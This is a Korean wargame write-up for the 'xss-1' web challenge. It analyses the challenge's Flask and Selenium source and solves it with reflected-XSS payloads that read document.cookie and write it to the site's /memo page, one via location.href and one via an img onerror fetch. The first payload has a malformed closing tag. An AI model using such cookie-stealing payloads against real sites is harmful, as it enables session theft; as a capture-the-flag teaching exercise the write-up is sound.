<<

xss-1

wargame, web

문제

XSS 공격으로 플래그를 얻는 문제이다.

문제 분석

메인 페이지
페이지 메인

/vuln?param=<script>alert(1)</script>
스크립트가 실행된다
vuln(xss) page 는 클라이언트가 접속하면 param에 있는 스크립트를 실행하는 페이지인것 같다.

/memo?memo=hello
memo 페이지는 쿼리스트링에 있는 문자열을 메모에 기록하는 역할을 한다.
쿼리스트링에 있는 문자열이 메모에 기록된다

/flag
플래그를 얻기 위한 입력창으로 보인다.
XSS 공격 입력창
폼이 있으니 서버 소스코드를 확인해보자.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST": # 폼을 제출하면 (POST)
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

/flag 페이지에 있는 폼을 제출하면 check_xss() 함수에 내가 입력한 입력값과 플래그 값을 같이 포함하고 있는 것을 알 수 있다. check_xss() 함수를 확인해보자.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

read_url() 함수에 /vuln 페이지 주소와 내가 입력한 값, 플래그 값(쿠키) 를 넘겨주고 있다. read_url() 함수를 살펴보자.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

셀레니움 을 사용해 브라우저에 쿠키 값을 추가하고 주어진 url 변수로 이동하고 있다. 추가되는 쿠키 값은 FLAG 가 될 것이다. (check_xss() 에 플래그가 매개변수로 있기 때문에)

셀레니움이란?
Selenium automates browsers. That’s it! - selenium.dev
브라우저를 자동화하는것으로, 서버에서 브라우저를 통해 크롤링이나 동작을 자동화 할 수 있는 프레임워크이다.

이 문제에선 XSS 공격에 클라이언트가 필요하기 때문에 셀레니움을 사용한 것 같다.

풀이

XSS 공격을 통해 문제를 풀 수 있다. 아래의 페이로드 이외에도 XSS 공격이 가능한 페이로드면 가능해 보인다.

<script>location.href = "/memo?memo=" + document.cookie<script>
<img src="HEHE" onerror="fetch('/memo?memo=' + document.cookie)">
... 이외 많은 XSS 공격 페이로드(?)

위 페이로드를 /flag 페이지에서 폼을 통해 제출하면 쿠키에 플래그가 포함되어 있는 브라우저가 서버에서 실행되고, 그 브라우저는 제출한 페이로드를 실행하기 위해 XSS 공격에 취약한 페이지 (/vuln?param=페이로드) 로 접속한다 페이로드에 포함되어 있는 스크립트를 서버에서 동작 중인 브라우저가 실행하고 그 스트립트는 /memo 에 쿠키 정보를 포함하여 요청을 보내게 된다.

공격자는 /memo 페이지에 접속해 서버에서 실행된 브라우저에 담겨 있는 쿠키를 확인할 수 있게 된다.

FLAG